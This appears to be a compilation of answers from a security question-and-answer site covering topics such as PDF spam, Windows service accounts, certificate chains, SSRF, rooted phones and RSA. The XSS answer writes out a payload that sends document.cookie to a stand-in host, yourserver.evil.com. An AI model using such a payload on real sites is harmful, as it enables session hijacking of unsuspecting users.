Is this account change PDF email (supposedly from Paypal) an exploit?

This is just regular malware spam.

The evil part of this message is likely the attached PDF it mentions. It likely contains an exploit which targets a vulnerability in one or more PDF readers and does something bad if opened with a vulnerable program. So do not open the attachment.

The reason for the gibberish text in the email's sourcecode is likely to confuse spam filters so they don't filter it.


NT AUTHORITY means the local machine's built-in service accounts. The best known of these is the SYSTEM account - which runs everything from the login screen to most of the high-privilege background services - but there are others by default such as LocalService and NetworkService (more restricted than SYSTEM and used to run background services that don't require enough access to completely take over the OS). NT Service Login (also just known as SERVICES) is for user-installed service accounts. Broadly speaking, a service account is any account which can be used as the principal for a non-interactive service process (most of them also disallow local or remote user login, to reduce attack surface). Whenever a Windows Service starts (this includes all the things listed in services.msc but also stuff like drivers), the Service Control Manager (or SCM, running in services.exe, which itself runs as SYSTEM) creates tries to create a security Token for the service's defined user - which may be one of the built-ins or any other service-login-allowing user - via a system call that gets logged as a service login attempt (this is what you're seeing). If the call succeeds, the SCM launches the service's process using that Token.

To answer your question:

It's only safe to whitelist these accounts to the degree that you are sure nobody can install a malicious service that uses them. Installing a service is simple - it's a few API calls to the service control manager, or just a few registry edits followed by a reboot, and many software installers will do it - but both options require either Administrator-level privileges or some way to bypass ACLs (such as offline access to an unencrypted OS volume). Because installing a service requires high privileges, any user with such privileges can configure any service to run under any account.


... often return only the server certificate and the root CA of the chain

While it is a common error to return only the server certificate sites usually not return the root CA (and this is also not claimed by the article you reference). In fact, any root CA will be ignored by the client since only the root CA local to the client should be used as a trust anchor and not some root CA send by the peer. See SSL Certificate framework 101: How does the browser actually verify the validity of a given server certificate? for more information.

  ... But what happens if a browser visits a site which is in a server returning only the server and the "roots" certificates at a time in which the browser haven't still cached certificates of the intermediate CA's? An authentication error would be triggered?

This depends. Some browsers will fail to validate the certificate. Others try harder, i.e. use Authority Information Access to find the missing intermediate CA. See AIA Fetching: Solving a Common SSL Misconfiguration for more information.

  How exactly does a browser follow the entire certification chain if it only receives the server and the root CA certificate?

Again, the browser does not use a root CA send by the server at all but only uses locally trusted root CA. If the browser has no knowledge of the intermediate certificates and cannot find these with the described methods the certificate validation will fail.


Ipsec: Is it possible to use both pre-shared keys and pubkeys auth methods at the same time?

This can be done with IKEv2, which allows the use of individual authentication methods for each peer (they are not negotiated, each peer indicates the used method in the AUTH payload, or via its absence to request EAP authentication).

But it's not possible with IKEv1, which you are apparently using, as there a single authentication method is negotiated between the peers (there are some combined-modes like XAuth/RSA, or hybrid authentication, but these are still negotiated as a single authentication method that both have to agree upon).


Is it possible to avoid PHP string validation with malformed UTF-8 string?

The explode() function does not use any encoding. It simply splits a sequence of bytes at a subsequence of bytes. Whether those bytes are valid characters in the encoding you happen to use is outside the scope of this function.

So explode() works the same for any string, be it a valid UTF-8 sequence or an invalid UTF-8 sequence.

If you want to validate the strings against a particular encoding before the split operation, you're free to use mb_check_encoding().


How Secure Rooted or Jailbroken Devices are?

The problem raises that when an attacker is able to establish a shell or run code on your phone, he has access to all internals. From here he could just unlock the device by overriding commands in the screen lock application or even more easy would be to just start extracting data through the shell.

A problem specifically with jailbroken devices is that you abuse a security weakness to get it jailbroken. The problem is that as long as you don't update your phone, because you want to keep your phone jailbroken, the security vulnerability remains in your device and could potentially be abused by attackers to gain access to your phone.

With android a rooted device is actually a feature, but depending on how you root the phone you need to take care of a few things. Some android rooting programs automatically enable a telnet host without authentication on it. Others automatically enable adb.

The biggest issue is that the sandbox in which your apps run when you have a rooted device becomes obsolete. The App will run as root and will be able to access data stored within other apps. Because of this you become a lot more exposed should you, by accident, install a malicious app.


Synchronous and Asynchronous physical security tokens: which is stronger? pros/cons?

The advantage of an challenge/response system is the ability to prevent replay attacks. A challenge/response server sends the user a challenge which gets used in the authentication process together with the authentication credentials. The data which gets send during the authentication will never be the same although the authentication credentials are in most cases the same.

Your differentiation is somehow inaccurate, because even the RSA system is a challence/response system. The challenge is the time stamp the client and the server are sharing. By this the "almost"-one-time-password gets created.

The key difference of the both systems you are trying to compare is not the cryptographic weakness. The key difference is that the Google solution sends the authentication token via an insecure channel. So the RSA token is more secure, as long as they get their own company security managed. The RSA solution does not send anything necessary for the authentication over any channel. That is the advantage.


Attacker can check external IP from a SSRF vuln?

I think SSRF vulnerability is actually used to gain information regarding the internal network and machines which otherwise are not accessible to outside world. Assuming the webserver which suffers from this vulnerability is inside a DMZ, then using SSRF you can perform port scan and know the status of ports and services running on those internal machines. When you say external IP(another computer on network) I assume you refer to other machine/host which is in the same network of that of the machine that host the webserver. In this case yes you can perform port scanning of that machine.


XSS cookie stealing without redirecting to another page

If you have full control of the JavaScript getting written to the page then you could just do

document.write('cookie: ' + document.cookie)

If you want it sent to another server, you could include it in a non-existent image:

document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')

The key here being whether you can output arbitrary JavaScript or whether you're limited in the kind of JavaScript you can get executed. Though if you're limited in what can be output you could use more advanced methods of getting your custom code to execute which are a bit out of scope of the question.


Ways to completely spoof browser user agent and hiding OS to a webserver

Since you're talking about navigator.oscpu, I assume that you're talking about Firefox, because it's the only browser that supports this property.

You can easily spoof the value of navigator.oscpu via the general.oscpu.override preference:

Visit about:config.
Create a new string called general.oscpu.override
Set whatever value you want.

This is not the only way to detect that you're running on Firefox on Windows. There are several Mozilla-specific CSS media queries that can be used to detect whether you're running on Windows, including but not limited to -moz-os-version (Firefox 25+) and -moz-window-theme (Firefox 4+).

Browser plug-ins (such as Flash) can also be used to identify your OS. Either directly (by embedding the plugin) or indirectly, by looping through the navigator.plugins collection, while reading the file names of the plug-ins. To identify Windows, for example, just check whether any of the strings end with .dll. Here's an example that prints the list of filenames: http://jsfiddle.net/A8srr/show.
Note that this issue is going to be resolved in Firefox 28 by making navigator.plugins non-enumerable, see https://bugzilla.mozilla.org/show_bug.cgi?id=757726.

Although you can try to manually fix all properties of navigator (see my recent example for example on spoofing a property of navigator in a user script), do not rely on it for "protecting" your system.

If you want to guard your system against attacks from the web platform, use a virtual machine for browsing the internet (if you're on Windows, you can also try to use Sandboxie, because it integrates better than a separate VM).


Effectiveness of Euler's totient function and Carmichael's totient function in generating the public key in RSA encryption

Not strictly an answer because I reject the question, but too long for comments. Related but not quite (cross)dupe:
https://crypto.stackexchange.com/questions/29591/lcm-versus-phi-in-rsa
https://crypto.stackexchange.com/questions/33676/why-do-we-need-eulers-totient-function-varphin-in-rsa

Although mathematically RSA can use any d and e that are inverses modulo either Euler's totient (commonly phi) or Carmichael's (commonly lambda), in practice we use a predetermined small e (commonly 3 or 65537, the latter being the Fermat prime F4) and compute d as the inverse of that. Thus which mod is used for the inverse has no effect on the public exponent and public key, only the private exponent and naive private key. Since the phi inverse is almost always larger than the lambda inverse, naive decryption using the former would be slightly slower. But in practice we don't use naive decryption, we use the Chinese Remainder Theorem method with d mod p-1 and d mod q-1, and those are the same no matter which way d was computed, so it makes no difference to either time or security of encryption or decryption. It may make a tiny difference to time of key generation, but key generation is normally done only rarely, and is very heavily dominated by prime testing, or prime building for provable methods.

And if it did make a difference to security you couldn't determine that by measuring the time or even computing the time complexity.

PS: at least in US, we normally use 'effective' to describe or measure only that something works correctly, and 'efficient' to describe or measure that it is fast (uses little time) and/or uses little of other relevant resources such as memory, bandwidth, power, etc.


Is scrubbing a ssd drive effective in situations where you can't use the trim command?

After more intensive scrubbing with the command line scrub tool (scrub -X -p schneier test which does 7 passes) I could recover only 1/10th of what I could recover before. So I guess it does have effect.


Is OWASP ESAPI .NET Edition really used? Is this project still alive?

No, as you've noted, it was abandoned in 2010, and is completely unsupported and thoroughly outdated at this point in time.  You should definitely look somewhere else, and where exactly depends on your specific needs.


Is VirusTotal useful for finding malware in a WordPress database SQL export?

No, from VirusTotal support:

  VirusTotal inspects items with over 70 antivirus scanners and URL/domain blacklisting services, in addition to a myriad of tools to extract signals from the studied content.

If the attack you received was a SQL Injection, the best you could do is to fix the vulnerability that let the attacker to inject malicious code in your web page and of course deleting the malicious code that have been uploaded.

SQL Injections are usually easy to clean (removing the injected content) but hard to fix (avoiding that the injection to rehappen in the same way).

You could check for some very known and typical cross-site scripting attack strings here and here.

A good explanation of how and which settings let those attack work is given here.